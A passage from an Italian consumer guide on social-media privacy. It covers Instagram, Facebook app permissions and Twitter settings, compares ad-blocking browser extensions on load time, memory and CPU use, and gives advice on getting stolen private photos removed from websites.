Per modificare il profilo, toccare l’icona a forma di mezzobusto nella parte inferiore destra dello schermo, quindi la voce “Modifica profilo” sotto la nostra foto. Da qui, cancellare o modificare a piacere tutte le informazioni, pubbliche e private, che abbiamo indicato. Meno informazioni condivideremo, più sicura sarà la nostra privacy.

5. Privacy Instagram: scollegare le foto dalla Mappa di Instagram

La funzione Mappa Foto geolocalizza i nostri scatti all'interno di una mappa, ricordandoci dove eravamo in quel dato momento
La funzione Mappa Foto geolocalizza i nostri scatti all’interno di una mappa, ricordandoci dove eravamo in quel dato momento

Instagram possiede una funzione, a volte troppo invadente, che geolocalizza i nostri scatti all’interno di una mappa visualizzabile dal profilo personale.

Quando si scatta una foto al Colosseo, per esempio, i nostri seguaci sapranno che ci troviamo a Roma, con tutti i possibili problemi per la nostra privacy.

Ricordiamo infatti che Instagram è pubblico: condividere con gli amici le foto della località in cui ci troviamo in vacanza è una gran cosa, ma forse dovremmo pensarci due volte prima di pubblicare nel feed fotografico tonnellate di scatti contenenti la posizione di casa nostra. Non si sa mai chi potrebbe sbirciare o dove la foto potrebbe essere condivisa.

Prima di pubblicare una foto su Instagram, fare sempre attenzione alla voce “aggiungi alla tua Mappa foto” che compare nell’ultima schermata prima della pubblicazione. Chiediamoci sempre: voglio davvero condividere la mia posizione attuale sulla mappa?

Cosa fare, però, con le foto già pubblicate e geolocalizzate? Ecco come rimuovere i dati geografici dalle vecchie foto:

  • Dall’icona del profilo personale (in basso a destra) toccare l’icona Mappa Foto (a forma di Pin) subito sotto i dettagli del profilo, quindi sulla voce Modifica in alto a destra della mappa
  • Fare zoom in un’area contenente la foto da modificare e toccarla per rimuoverla dalla mappa.

In caso di Account privato, soltanto i seguaci potranno visualizzare le posizioni delle foto sulla mappa.

6. Privacy Instagram: cancellare le foto dal feed

Può capitare di pubblicare su Instagram foto “scomode” e di doverle rimuovere in un secondo tempo, per evitare che i nostri seguaci le visualizzino. Ecco come procedere:

  • Toccare l’icona del profilo personale (in basso a destra). Sotto i dettagli del profilo, verranno indicate tutte le foto pubblicate su Instagram.
  • Appena sotto a ogni foto e in alto a destra, è visibile l’icona di un menù a forma di tre puntini sovrapposti. Toccandola, saranno visibili diverse opzioni fra cui “Elimina“. Selezionando questa voce, la foto incriminata sparirà per sempre dal proprio Feed e da Instagram.

7. Privacy Instagram: condividere foto solo con determinati seguaci

A volte si vorrebbe condividere uno scatto di Instagram solo con un unico seguace. In questo caso corre in nostro aiuto una funzione chiamata Instagram Direct, attraverso cui è possibile condividere un singolo scatto solamente con uno o più dei nostri amici. Un po’come se fossero inviate attraverso messaggio privato.

Scattare una foto con l’app Instagram e procedere come di consueto per la pubblicazione. Nell’ultima schermata prima della pubblicazione, toccare la voce Direct e inserire i nomi dei seguaci con cui condividerla.

Eliminare le app Facebook per migliorare la privacy

Eliminare le app Facebook migliora la privacy del nostro profilo e mette al sicuro numerosi dati personali da utilizzi impropri. Su Facebook esistono milioni di applicazioni per tutti i gusti: giochi, quiz, musica, capaci di minare la nostra privacy.

Eliminare le app Facebook: perchè è bene farlo

Per prima cosa è importante capire che ogniqualvolta ci connettiamo a un sito o una app utilizzando la connessione Facebook, iniziamo a “regalare” alcuni dei nostri dati personali.

Questi siti e app si connettono a loro volta a Facebook, sfruttando i dati personali del nostro account per verificare la nostra identità e velocizzare la procedura di login al sito o alla app. Facebook in questo modo non viene semplicemente utilizzato come “tramite”: diventa un veicolo di informazioni personali che viaggiano in entrambi i sensi, allo scopo di raccogliere il maggior numero possibile di dati sui nostri gusti, le nostre abitudini, i nostri dati personali.

Eliminare le app Facebook inutilizzate è facile, veloce e aiuta a proteggere i nostri dati personali.
Eliminare le app Facebook inutilizzate è facile, veloce e aiuta a proteggere i nostri dati personali.

Quando autorizziamo una app a sfruttare la connessione al nostro account Facebook, il permesso rimane attivo fino al momento in cui non decidiamo di negarlo, attraverso le impostazioni del social network. Anche se il permesso viene sfruttato una sola volta dalla app, questa potrà accedere per sempre ai nostri dati.

Se non avete mai aperto le impostazioni Facebook e non avete mai dato un’occhiata alla lista delle applicazioni autorizzate a connettersi al vostro account, potreste rimanere sorpresi da quante vecchie applicazioni, magari utilizzate una volta sola molti anni fa, possono ancora raccogliere i vostri dati personali.

Eliminare le app Facebook: come procedere su computer e notebook

Per eliminare le app Facebook o semplicemente modificarne i permessi, aprire il browser web e collegarsi a Facebook effettuando il login (sempre che non si sia già collegati con il proprio account).

Per eliminare le app Facebook basta accedere alle Impostazioni applicazioni. Per ogni applicazione, è possibile scoprire a quali dati personali accede, prima di scegliere se eliminarla o mantenerla attiva.
Per eliminare le app Facebook basta accedere alle Impostazioni applicazioni. Per ogni applicazione, è possibile scoprire a quali dati personali accede, prima di scegliere se eliminarla o mantenerla attiva.

Nell’angolo superiore destro dello schermo, fare clic sull’icona a forma di triangolo rovesciato e selezionare la voce Impostazioni. Nella colonna di sinistra, cliccare Applicazioni.

A questo punto apparirà la lista della app connesse al nostro account Facebook. Passando il mouse su ciascun icona appariranno una X e un simbolo a forma di matita. Per rimuovere l’app, cliccare sulla X, quindi sulla finestra di conferma rimozione.

Selezionando la matita, è possibile limitare i permessi delle app. Si aprirà una lista di permessi da selezionare o deselezionare a seconda delle preferenze: alcuni permessi sono richiesti, altri facoltativi. Le informazioni condivise con le app possono essere molteplici: oltre all’accesso al nostro profilo pubblico Facebook, possono comparire il permesso di consulare la nostra lista degli amici, il nostro indirizzo e-mail, l’indirizzo di residenza, il nostro compleanno, i post del nostro diario, le foto pubblicate e molto altro ancora.

Ancora più in basso, è presente la sezione “Maggiori informazioni“, dove fra le altre cose è possibile trovare i contatti diretti dello sviluppatore e l’ID utente per quella determinata app. Qualora si vogliano rimuovere tutti i nostri dati personali dai server dello sviluppatore di una determinata app, si dovrà inviare una mail ai recapiti indicati specificando l’ID utente e la richiesta di cancellazione, nero su bianco.

Nella parte inferiore della finestra è possibile consultare i “Termini dell’applicazione” e la “Normativa sulla privacy delle applicazioni” per verificare come le app utilizzano le informazioni raccolte dal nostro account, con chi le condividono e altro ancora. Attenzione però: il linguaggio utilizzato non sempre è di facile lettura e comprensione.

Eliminare le app Facebook: come bloccare in una volta sola app e permessi

Rimuovere le app Facebook singolarmente non è l’unica strada percorribile. Scorrendo verso il basso nella schermata Applicazioni, subito sotto la lista della app collegate si trovano due voci: “Applicazioni, siti Web e plugin” e “Applicazioni usate dagli altri“.

Attraverso la prima voce, cliccando sul tasto Modifica e successivamente sulla voce Disabilita piattaforma, è possibile disattivare tutte le app e i servizi di terze parti collegati al nostro account Facebook. L’opzione è irreversibile, quindi dovrete essere particolarmente sicuri di quello che fate prima di cliccare sul tasto di conferma Disabilita piattaforma.

Per chi desidera la massima privacy, è possibile eliminare le app Facebook con un unico clic.
Per chi desidera la massima privacy, è possibile eliminare le app Facebook con un unico clic.

Cliccando invece su Applicazioni usate dagli altri, è possibile controllare quali informazioni possono raccogliere su di noi le app dei nostri amici. Per esempio, se uno dei nostri amici dovesse autorizzare sul suo account un’app, e questa accedesse alla sua lista degli amici, i nostri dati personali potrebbero essere raccolti.

Da questa pagina è possibile rimuovere una lunga lista di dati personali condivisi con le applicazioni dei nostri amici, come i post del diario, gli interessi, la data di nascita, la biografia, il sito web, il nostro stato (online/offline), dettagli su istruzione, lavoro e molto altro ancora.

Sempre dalla pagina delle Applicazioni, l’ultima voce (Vecchie versioni di Facebook per dispositivi mobili) permette di controllare la privacy di quello che si pubblica quando si utilizzano applicazioni mobili di Facebook datate, prive dello strumento di selezione del pubblico. In questo modo, attraverso un menù a tendina è possibile scegliere con chi condividere le informazioni pubblicate (amici, tutti, solo io, etc…).

Eliminare le app Facebook: come procedere su smartphone e tablet

Circa la metà degli accessi a Facebook avviene attraverso le app per dispositivi mobili. Di seguito spiegheremo la procedura sulla versione Android della app di Facebook: rispetto alla versione iOS o a quelle di altri sistemi operativi, potrebbero esserci piccole differenze.

Eliminare le app Facebook è possibile anche dalle app per smartphone e tablet.
Eliminare le app Facebook è possibile anche dalle app per smartphone e tablet.

Per prima cosa, una volta aperta l’app toccare l’icona “hamburger” (con le tre linee orizzontali) nella parta superiore destra dello schermo. Da qui, toccare la voce “Collegamenti rapidi alla privacy“.

Dopo aver controllato brevemente le voci principali, come “Chi può vedere le mie cose?” o “Chi può contattarmi?“, toccare Altre impostazioni. Scendere fino a selezionare Applicazioni, quindi “Applicazioni usate dagli altri” e deselezionare tutte le voci che non vogliamo condividere. Tornando indietro, selezionare Accesso effettuato con Facebook e depennare tutte le app connesse al nostro account Facebook che non ci interessano. Cliccando su ogni singola app sarà possibile gestire quali informazioni condividere, allo stesso modo della versione desktop descritta sopra.

Privacy Twitter: come proteggere i dati personali

In termini di privacy Twitter è simile a molti altri social network. Ecco perchè è bene ricordare che si tratta di una piattaforma pubblica: ogni volta che inviamo un tweet difficilmente immaginiamo che questo, potenzialmente, potrebbe essere letto da milioni di persone nei prossimi mesi, anni, decenni.

Lo stesso discorso vale per le foto allegate ai tweet. Per questo, di norma, non dovremmo mai divulgare informazioni rilevanti su chi siamo, cosa facciamo, dove abitiamo o semplicemente dove ci troviamo fisicamente in un dato momento. Perchè, dall’altra parte, non possiamo sapere chi ci leggerà e con quali secondi fini.

Privacy Twitter: come cambiare le impostazioni di default

Twitter, al pari di altri social network, si è dotata negli anni di una propria politica legata alla privacy degli utenti. Attraverso le impostazioni, è possibile scegliere quanto restare “nascosti” dalla community degli utenti, quali dati condividere e quali mantenere riservati. Ecco una guida su come configurare le opzioni più importanti, dal browser o direttamente dalla app mobile.

Privacy Twitter: cambiare le impostazioni nel browser

Quando si utilizza Twitter dal browser di un computer desktop, notebook o tablet, è possibile accedere alle impostazioni della privacy facendo click sulla foto del profilo, quindi su Impostazioni -> Sicurezza e Privacy. Da qui, per una privacy ottimale, consigliamo di attivare le seguenti opzioni:

  • Privacy Twitter: esistono numerose opzioni per tenere al sicuro i dati personali
    Privacy Twitter: esistono numerose opzioni per tenere al sicuro i dati personali

    Tag nelle foto: scegliere “Non permettere a nessuno di taggarmi nelle foto“, per impedire che qualcuno possa taggarci in una foto contro la nostra volontà.

  • Privacy dei Tweet: attivare “Proteggi i miei tweet“. In questo caso, i nostri tweet non saranno pubblici ma visibili solo alle persone che autorizzeremo a seguirci (i nostri followers). Inoltre, i tweet non verranno visualizzati nei risultati di ricerca di Google.
    Limitazioni: attivando l’opzione, non sarà possibile rispondere ai tweet postati dalle persone che non sono nostre follower. L’opzione non funziona per i tweet già pubblicati, che rimarranno pubblici.
  • Posizione dei Tweet: disattivare “Aggiungi una posizione ai miei tweet“. Così facendo, Twitter non associerà ai messaggi la nostra posizione GPS. Ad ogni tweet, potremo comunque scegliere di inserire manualmente i dati relativi alla posizione. I dati relativi alla posizione raccontano molto su di noi e i nostri spostamenti, e potrebbero essere usati da terzi per tracciare i nostri movimenti su una cartina, attraverso semplici programmi disponibili online. Per maggior sicurezza, cliccare sul pulsante “Elimina tutte le informazioni sulla localizzazione” cancellando così ogni traccia delle nostre posizioni.
  • Reperibilità: disattivare “Consenti ad altri di trovarmi tramite il mio indirizzo email“. In questo modo, le persone non potranno trovarci su Twitter inserendo la nostra mail personale. Un accorgimento fondamentale quando ci si registra a Twitter con uno pseudonimo, oppure quando non si vuole pubblicizzare il proprio profilo Twitter.

Privacy Twitter: cambiare le impostazioni nella app

Una volta aperta la app, cliccare sull’icona in alto a destra (a forma di ingranaggio o rappresentata da tre pallini verticali, a seconda della versione installata) quindi Impostazioni -> Privacy.

A questo punto, impostare le seguenti voci:

  • Chi può taggarmi nelle foto: nessuno
  • Proteggi i miei tweet: attivare la casella
  • Consenti agli altri di trovarmi tramite indirizzo email: disattivare la casella

Privacy Twitter: come creare un account anonimo

Privacy Twitter: per proteggere la propria identità è possibile iscriversi con uno pseudonimo
Privacy Twitter: per proteggere la propria identità è possibile iscriversi con uno pseudonimo

Per aumentare la privacy Twitter permette di utilizzare uno pseudonimo e un’immagine di profilo random. Tuttavia, in fase di registrazione è obbligatorio inserire un indirizzo e-mail e un numero di telefono validi.

Quando si effettua la registrazione tramite browser (non su dispositivi mobili) è possibile evitare di inserire il numero di telefono, ma non la mail che rimane comunque obbligatoria.

Per creare un account Twitter anonimo, aprire il browser e portarsi alla pagina principale di Twitter, quindi registrarsi con uno pseudonimo e un account email anonimo (sulla Rete esistono numerosi servizi in grado di farlo), quindi saltare tutti i passaggi che richiedono dati personali.

In questi passaggi è fondamentale non fornire numeri di telefono o indirizzi e-mail riconducibili alla propria identità, o già utilizzati per la registrazione di altri account utente su internet. Questa accortezza contribuirà a dare maggiore autorità al nuovo pseudonimo fra gli altri utenti di Twitter.

L’anonimato, tuttavia, sarà soltanto apparente e limitato alla community Twitter: i server aziendali avranno comunque accesso alla mail, al numero di telefono, all’indirizzo IP e a tutti i dati conservati nei cookie del browser.

Privacy Twitter: trucchi e consigli per aumentarla

Collegare Twitter ad altri account

Limitare i link dell’account Twitter agli account di terze parti può essere utile per aumentare la privacy. Alcuni siti, social network e app danno la possibilità di registrarsi (e verificare l’identità personale)  attraverso le credenziali Twitter. Da questo account, quindi, prenderanno tutti i dati personali per l’iscrizione al servizio desiderato (inclusi username, lista dei follower, posizione, tweet e qualsiasi dato anche se contrassegnato come “privato”).

In questi casi, meglio procedere ogni volta a un’iscrizione manuale, senza mettere di mezzo l’account Twitter.

Quanto sono “privati” i nostri messaggi?

Twitter permette di spedire messaggi privati agli altri utenti della community. Il contenuto di questi messaggi è visibile soltanto ai destinatari e resta “invisibile” agli altri utenti, ma non a Twitter. I messaggi privati restano nella memoria dei server aziendali, anche quando vengono cancellati dagli utenti che li hanno scambiati. Attenzione, quindi, a non utilizzare questo strumento per trasmettere comunicazioni particolarmente delicate o segrete.

Come creare le liste private

Quando si seguono numerosi profili Twitter, può capitare di essere sommersi ogni minuto da tonnellate di notifiche. Le liste di Twitter sono un modo per filtrare i contenuti interessanti da quelli che possono tranquillamente passare in secondo piano.

Privacy Twitter: le liste private sono visibili soltanto all'utente che le ha create
Privacy Twitter: le liste private sono visibili soltanto all’utente che le ha create

Come funzionano? Immaginiamo di creare una lista chiamata “Ambiente” per tutti i tweet collegati a questo argomento. Sarà possibile aggiungervi persone che sono solite twittare messaggi di questo genere, con la possibilità di mantenere la lista pubblica o privata.

Liste pubbliche: possono essere viste dai nostri follower. Le persone aggiunte alla lista verranno notificate via email.

Liste private: sono visibili soltanto ai nostri occhi e risultano invisibili tanto ai nostri follower quanto alle persone che decidiamo di inserire nella lista privata. Soltanto il team di Twitter può avere l’accesso.

Verifica di accesso

Twitter offre una funzione di per “potenziare” il livello di sicurezza del login attraverso l’uso di un telefono, sul quale verrà spedito ogni volta un codice di sicurezza.

Da Impostazioni -> Sicurezza attivare “Verifica d’accesso“. Si chiederà quindi all’utente (se non lo avesse già fatto) di confermare l’indirizzo e-mail dell’account Twitter e di inserire un numero di telefono valido, sul quale ricevere il codice di sicurezza necessario a completare la procedura di login, ogniqualvolta si decide di loggarsi al proprio account Twitter.

Le 10 estensioni migliori per bloccare la pubblicità

Estensioni per il blocco della pubblicità: in questi ultimi anni stanno prendendo sempre più piede. Come mai? Il motivo è semplice: gli annunci pubblicitari nei browser web sono al centro di una polemica a dir poco scottante.

Molti siti, infatti, bombardano letteralmente gli utenti con tonnellate di annunci pubblicitari e, spesso, non c’è molta scelta: o si subisce l’attacco degli inserzionisti oppure ci si arma di estensioni per il blocco della pubblicità. Gli annunci, infatti, non sono solo fastidiosi: rallentano anche di parecchio il caricamento dei siti web. Una vera seccatura, insomma.

Le 10 estensioni migliori per bloccare la pubblicità

Le estensioni per il blocco della pubblicità sono diventate molto utili negli ultimi anni: i siti web sono pieni di annunci pubblicitari
Le estensioni per il blocco della pubblicità sono diventate molto utili negli ultimi anni: i siti web sono pieni di annunci pubblicitari

D’altra parte, è anche vero che esistono siti che ce la mettono tutta per essere il meno invadenti possibile, distribuendo in modo equilibrato sia la quantità degli annunci pubblicitari sia il loro posizionamento. In questi casi l’utilizzo delle estensioni per il blocco della pubblicità danneggerebbe i siti per così dire “innocui” tanto quanto quelli “cattivi” che avete mandato a mare con tutto il loro corollario di fastidiosi annunci.

Non è un segreto per nessuno, infatti, che la la stragrande maggioranza dei siti web su Internet ha bisogno di utilizzare gli annunci pubblicitari per contribuire a pagare per i costi di gestione: personale, hardware, server veloci, CDN veloci e simili non si ottengono gratuitamente, devono essere pagati.

Nonostante queste considerazioni, non possiamo negare che le estensioni per il blocco della pubblicità rappresentano un prezioso strumento per navigare in santa pace, soprattutto su browser come Chrome o Firefox.

Oltre a rimuovere le inserzioni, infatti, le estensioni per il blocco della pubblicità permettono di risparmiare sulla larghezza della banda riducendo la quantità di contenuti per facilitare un veloce caricamento delle pagine web; le estensioni per il blocco della pubblicità, inoltre, sono amiche preziose anche della privacy, perché bloccano gli script che tengono traccia delle vostre abitudini di navigazione.

Esistono diversi tipi di estensioni per il blocco della pubblicità disponibili per Chrome e Firefox, e alcune funzionano meglio di altre. Per vedere come lavorano durante il caricamento di una pagina web, abbiamo deciso di testarne una decina delle migliori.

Questo test riguarda le prestazioni delle estensioni per il blocco della pubblicità in termini di velocità (ossia il tempo di caricamento delle pagine web a seguito dell’applicazione delle estensioni per il blocco della pubblicità), la quantità massima di memoria che utilizzano e quanto “stressano” la CPU.

Estensioni per il blocco della pubblicità alla prova

Il primo elemento degno di nota è che ci sono molte più estensioni per il blocco della pubblicità disponibili per Chrome che per Firefox, contrariamente a quanto ci aspettavamo. Eccone alcune che abbiamo testato su entrambi i browser.

AdBlock per Chrome – Una delle estensioni per il blocco della pubblicità più popolari per Chrome, con oltre 200 milioni di download registrati. Era stata rilasciata anche una versione per Firefox, ma è stata rimossa per motivi sconosciuti. AdBlock “tollera” le inserzioni pubblicitarie per YouTube e ricerca di Google, ma sono comunque disattivate per impostazione predefinita.

AdBlock è una delle estensioni per il blocco della pubblicità più popolari per il browser Google Chrome
AdBlock è una delle estensioni per il blocco della pubblicità più popolari per il browser Google Chrome

AdBlock Plus per Chrome / Adblock Plus per Firefox – Una delle estensioni per il blocco della pubblicità più note, ma anche una delle più controverse: Adblock Plus, infatti, ha lanciato la tendenza di introdurre delle “whitelist” di annunci consentiti. Sul sito web di AdBlock Plus si trovano anche versioni per Opera, Safari, Maxthon, Internet Explorer e persino per Android.

AdBlock Pro per Chrome – AdBlock Pro è basato su Adblock Plus, ma ha un’interfaccia più semplice e nessuna opzione che preveda una lista di annunci “accettabili”. L’icona del pulsante sta nella barra degli indirizzi, invece della solita area dedicata alle estensioni per il blocco della pubblicità e presenta tre semplici voci: disattiva, vai alle opzioni e crea un filtro.

AdGuard per Chrome / AdGuard per Firefox – AdGuard è una delle estensioni per il blocco della pubblicità più facili da usare e, oltretutto, permette di aggiungere ulteriori script di blocco. Il prodotto di punta di AdGuard consiste in un’applicazione per il desktop gratuita che blocca gli annunci in un certo numero di browser senza la necessità di installare componenti aggiuntivi.

AdGuard: una delle estensioni per il blocco della pubblicità più semplici ed intuitive
AdGuard: una delle estensioni per il blocco della pubblicità più semplici ed intuitive

AdRemover per Chrome – AdRemover si basa su AdBlock e ha pressoché lo stesso numero di opzioni, salvo la scheda di supporto. La maggior parte delle differenze sono più che altro sul piano estetico e, anche se non chiede esplicitamente donazioni “di supporto”, appaiono dei pulsanti “social” quando si clicca sull’icona di AdRemover.

Ghostery per Chrome / Ghostery per Firefox – Ghostery è una delle estensioni per il blocco della pubblicità in grado di bloccare script analitici, widget, script per la privacy e, naturalmente, inserzioni pubblicitarie. La cosa buona di Ghostery è che offre la possibilità di abilitare o disabilitare individualmente gli script per ogni sito web. Le versioni sono disponibili per Opera, Internet Explorer, Safari e sistemi operativi mobili.

Estensioni per il blocco della pubblicità: Ghostery è una delle migliori, perché permette di abilitare o disabilitare gli script di ogni sito web
Estensioni per il blocco della pubblicità: Ghostery è una delle migliori, perché permette di abilitare o disabilitare gli script di ogni sito web

Simply Block Ads! per Chrome – Una delle estensioni per il blocco della pubblicità che non è stata aggiornata dal 2014 e che registra un dato interessante: alcune inserzioni, infatti, secondo alcuni non sono state bloccate, anche se durante il nostro test la sua performance è stata ottima e il servizio ha effettivamente bloccato tutti gli annunci.

Fortuna? Chi può dirlo. Però ci sembrava giusto, visti i risultati ottenuti, includerlo nella lista delle 10 migliori estensioni per il blocco della pubblicità. Simply Block Ads! (meglio conosciuto anche come Simple Adblock) è molto facile da usare e l’unica opzione è un opt-in per inviare statistiche di utilizzo.

SuperBlock AdBlocker per Chrome – Un’altra “creatura” di AdBlock, che sembra però essere dello stesso sviluppatore di AdRemover. Salvo che per la presenza di una voce in più nella lista dei filtri e una manciata di cambiamenti di stile, infatti, non si vede una gran differenza tra i due.

μ Adblock per Firefox – La parola chiave che contraddistingue μ Adblock (Micro Adblock), una delle estensioni per il blocco della pubblicità più popolari, è semplicità: è infatti sufficiente fare clic sull’icona per bloccare o sbloccare siti specifici. Ci sono solo 3 opzioni, tra cui il blocco pulsanti dedicati ai social. L’unico problema di μ Adblock è che non è stata aggiornata da gennaio 2015.

Estensioni per il blocco della pubblicità: la parola d'ordine per u AdBlock per Firefox è semplicità
Estensioni per il blocco della pubblicità: la parola d’ordine per u AdBlock per Firefox è semplicità

μBlock Origin per Chrome / μBlock Origin per Firefox – Una delle estensioni per il blocco della pubblicità più attese sia per Chrome che per Firefox, che sembra essere molto efficiente sia dal lato della CPU che da quello della memoria. Parecchi – anche se non proprio una valanga, bisogna ammetterlo – script vengono bloccati; è inoltre possibile consentire o bloccare siti specifici direttamente durante il caricamento della pagina web grazie alla modalità avanzata.

Estensioni per il blocco della pubblicità (non testate)

AdBlock Edge (Firefox) – Il progetto è ormai naufragato e lo stesso autore di questa estensione per il blocco della pubblicità raccomanda μBlock Origine al suo posto.

AdvertBan (Firefox) – Una delle estensioni per il blocco della pubblicità che non è stata aggiornata dal 2012 e che quindi, inevitabilmente, lascia la maggior parte o addirittura tutti gli annunci pubblicitari.

AdBlock Lite (Chrome e Firefox) – Una delle estensioni per il blocco della pubblicità meno performanti: ha lasciato un gran numero di annunci intatti sui nostri siti di prova, anche in modalità Full (la più aggressiva). Varie fonti dicono che il progetto è ormai del tutto abbandonato.

AdBlock Super (Chrome) – Dopo aver letto le recensioni e aver fatto alcuni test abbiamo scoperto che questo estensione per il blocco della pubblicità in realtà “inietta” gli annunci di terze parti. Nella migliore delle ipotesi si tratta di adware, nel peggiore dei casi di malware e quindi dovrebbe essere evitata a tutti i costi.

Attenzione: non tutte le estensioni per il blocco della pubblicità "fanno bene" ai nostri computers!
Attenzione: non tutte le estensioni per il blocco della pubblicità “fanno bene” ai nostri computers!

μBlock (Chrome e Firefox) – Questa versione è essenzialmente un clone del μBlock originale, poi ribattezzata μBlock Origin. L’autore di μBlock Origin, Raymond Hill, da allora si è dissociato dall’intero progetto di μBlock e non ne contribuisce più allo sviluppo. Per queste ragioni, tra le estensioni per il blocco della pubblicità, abbiamo testato solo μBlock Origin.

Come abbiamo testato le estensioni per il blocco della pubblicità

Eseguire test su siti web può essere difficile perché gli annunci sono proposti da terzi. Per cercare di uniformare eventuali incongruenze e differenze con altri server a cui si appoggiano i siti web, ogni pagina web testata è stata aggiornata 10 volte di seguito, i tempi considerati “anomali” sono stati scartati e alla pagina è stato fatto nuovamente un refresh. Poi abbiamo considerato 3 diversi punteggi:

Test delle estensioni per il blocco della pubblicità su Google Chrome:

Tempo di caricamento – Per il test delle estensioni per il blocco della pubblicità su Google Chrome abbiamo considerato il tempo medio di caricamento di una pagina web in 10 tentativi. In Chrome questo è un punteggio rosso sulla scheda Rete nei tool di sviluppo. La memorizzazione nella cache è disabilitata in modo che le risorse vengano aggiornate di volta in volta.

Il tempo di caricamento di una pagina web è stato uno dei parametri fondamentali per il test sulle estensioni per il blocco della pubblicità
Il tempo di caricamento di una pagina web è stato uno dei parametri fondamentali per il test sulle estensioni per il blocco della pubblicità

Utilizzo della memoria – Abbiamo considerato l’utilizzo della memoria delle estensioni per il blocco della pubblicità durante, appunto, il processo di blocco grazie allo strumento di Chrome Task Manager (Shift + Esc) e registrato il numero massimo di megabyte utilizzati durante i 10 successivi caricamenti della pagina

Utilizzo della CPU – Come per dare un’occhiata all’utilizzo della memoria, utilizzando Chrome Task Manager abbiamo registrato la percentuale massima di utilizzo della CPU durante il caricamento della pagina, tutte e 10 le volte.

Anche l'utilizzo della memoria CPU costituisce un buon parametro per valutare l'efficacia delle estensioni per il blocco della pubblicità
Anche l’utilizzo della memoria CPU costituisce un buon parametro per valutare l’efficacia delle estensioni per il blocco della pubblicità

Test delle estensioni per il blocco della pubblicità su Mozilla Firefox:

Il test sulle performance delle estensioni per il blocco della pubblicità è stato ripetuto anche su Firefox
Il test sulle performance delle estensioni per il blocco della pubblicità è stato ripetuto anche su Firefox

Tempo di caricamento della pagina – Anche per testare le estensioni per il blocco della pubblicità su Mozilla Firefox, abbiamo considerato il tempo medio necessario per il caricamento della pagina, eseguito una decina di volte. Firefox non ha un conteggio del tempo di caricamento separato nella sua scheda Rete (al contrario di Chrome), quindi abbiamo usato un’estensione chiamata app.telemetry Page Speed Monitor per calcolare i tempi.

La cosa frustrante su Firefox è che non puoi ottenere punteggi precisi per l’utilizzo della memoria o della CPU delle estensioni per il blocco della pubblicità durante il loro utilizzo, perché a differenza di Chrome tutto viene caricato in un unico processo. Di conseguenza, abbiamo potuto registrare solo i risultati per i tempi di caricamento delle pagine in Firefox.

I test sono stati condotti su un computer portatile da 4GB, Core Duo 2.2Ghz con Wi-Fi e sistema operativo Windows 7. Anche se i test avrebbero potuto essere eseguiti su un sistema più potente, riteniamo che il portatile produrrà i punteggi più rappresentativi per i computers utilizzati dalla media degli utenti.

Tutte le estensioni per il blocco della pubblicità sono state installate e utilizzate con le impostazioni predefinite. Unica eccezione Ghostery, che all’avvio prevede una procedura guidata in cui è necessario scegliere cosa bloccare, per cui abbiamo selezionato solo l’opzione di blocco della pubblicità. I browser utilizzati per il test sono Chrome 44 e Firefox 40.

Rimuovere foto rubate dalla Rete: ecco come fare

Rimuovere foto rubate dalla rete inizia a diventare un’operazione sempre più frequente per molti utenti. Ogni giorno sempre più persone vivono la loro vita online attraverso social media e siti web, riducendo sempre di più il muro tra la vita privata e quella pubblica della Rete.

La definizione stessa della parola “privato”, in un mondo dove persino ogni piatto mangiato viene fotografato e pubblicato su Instagram, ogni pensiero viene twittato e ogni commento pubblicato su un qualche Social, è in costante discussione.

Rimuovere foto rubate dalla Rete: quando può essere utile farlo

Eppure, le persone vogliono ancora mantenere alcune foto lontane dai pubblici riflettori, difendendole dietro agli ultimi bastioni della privacy: le immagini dei momenti più personali, intimi, sono recentemente oggetto di un preoccupante fenomeno di attacco, chiamato banalmente “vendetta porno“.

Rimuovere foto rubate è essenziale quando queste ritraggono i momenti più "intimi" della nostra vita.
Rimuovere foto rubate è essenziale quando queste ritraggono i momenti più “intimi” della nostra vita.

Alle vittime può capitare di trovare le proprie foto (intime o no, ma comunque sempre di foto private si tratta) pubblicate online senza un esplicito consenso, corredate magari da informazioni personali di contatto, link a profili social media e via dicendo. Autore di questa vendetta è molto spesso un qualche “ex” amareggiato, o addirittura un professionista ingaggiato per violare il profilo della vittima in modo da acquisire materiale pubblicato con restrizioni (visibile ai soli amici o privato, visibile soltanto per l’autore).

Una volta acquisito il materiale riservato, questo viene condiviso su grande scala e su più canali diversi, allo scopo di far circolare il più possibile i contenuti e renderli virali.

Indipendentemente dalle motivazioni o dalle modalità del furto, le vittime soffrono di umiliazioni personali e professionali molto gravi, legate all’evidente violazione della privacy e alle sue ripercussioni sul web. In base alla gravità del danno, possono manifestarsi anche ricadute psicologiche importanti, capaci di pregiudicare il normale svolgimento della vita di tutti i giorni. Non sono infrequenti, infatti, i casi di giovani donne (ma anche di uomini) arrivati a togliersi la vita dopo essere stati oggetto di “vendette porno”.

Rimuovere foto rubate: le cosiddette "vendette porno" possono causare notevoli danni non solo di immagini, ma anche alla vita personale di ognuno.
Rimuovere foto rubate: le cosiddette “vendette porno” possono causare notevoli danni non solo di immagini, ma anche alla vita personale di ognuno.

Può capitare, inoltre, di vedere pubblicate immagini e foto riguardanti opere, progetti o lavori personali, in palese violazione della loro proprietà intellettuale, vedendole utilizzate da terzi per finalità commerciali o addirittura rivendicandone la paternità.

La legislazione in questi casi è ancora acerba, in Italia come in molti Paesi del mondo: ripubblicare su altri profili foto postate volontariamente da un utente Facebook non costituisce reato, ragion per cui le vittime hanno poche (o nulle) possibilità di ricorrere nei confronti del loro ricattatore.

Ma non tutto è perduto: ecco alcuni consigli utili e alcune azioni da mettere in pratica per salvaguardare la privacy e l’immagine personale.

Rimuovere foto rubate dalla Rete: contattare l’amministrazione del sito/social

Per rimuovere foto rubate a volte basta solo segnalare il contenuto ai gestori di un sito o social network.
Per rimuovere foto rubate a volte basta solo segnalare il contenuto ai gestori di un sito o social network.

Qualunque sia la ragione del contenzioso, la prima strada da tentare è il contatto diretto con l’amministrazione o l’assistenza del sito web/Social network sul quale sono stati pubblicati i contenuti lesivi della privacy.

Molti siti e Social hanno politiche aziendale molto rigide che tutelano gli utenti “molestati”: in molti casi, basta una semplice segnalazione per fare piazza pulita di foto o contenuti scomodi, pubblicati da terzi senza il nostro consenso. Magari accompagnando la richiesta da un “per favore” e da un tono gentile, che non guasta mai.

In questi casi, poi, è fondamentale vigilare affinché i contenuti rimossi non vengano ripubblicati senza il nostro consenso. Se dovesse accadere, è possibile inviare una seconda segnalazione. In questi casi, in base alle politiche aziendali, i gestori potrebbero adottare misure più severe contro il molestatore, come la cancellazione dell’account o la segnalazione alle autorità locali.

Rimuovere foto rubate dalla Rete: inviare un ultimatum a chi viola la nostra privacy

